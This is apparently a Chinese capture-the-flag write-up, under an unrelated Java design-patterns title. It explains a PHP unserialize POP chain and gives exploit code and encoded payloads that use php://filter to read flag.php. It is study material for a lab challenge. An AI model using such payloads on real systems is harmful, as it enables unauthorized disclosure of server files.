Java中幾種常用設計模式
阿新 • • 發佈:2020-11-21
POP鏈構造
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
poc
首先找到可控入口 $_GET['pop'] 此處會呼叫 unserialize() ==喚醒=> __wakeup() 有一個 preg_match()過濾 這裡$this->source 可構造$this->source為Show,當類被當作字串執行時,會觸發Show中的 toString() return $this->str->source 可構造 $this->str為Test,當指向不可訪問的source時,呼叫Test中的 __get() 此時通過$this->p返回一個函式 可構造 $this->p為Modifier,當類被當作函式執行時,會觸發Modifier中的 __invoke() 此時傳入$this->var 可構造檔案路徑 flag.php,通過 append() include flag
exp
<?php class Modifier { // 去資料流拿 protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php'; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __get($key){ $function = $this->p; return $function(); } } $a = new Show; $a->source = new Show; $a->source->str = new Test; $a->source->str->p = new Modifier; var_dump(serialize($a)); //p1 echo "</br>"; var_dump(urlencode(serialize($a))); //p2 ?>
payload
對私有變數前加上有*因此加上空字元%00構建
p1:
?pop=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
urlencode一下
p2:
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D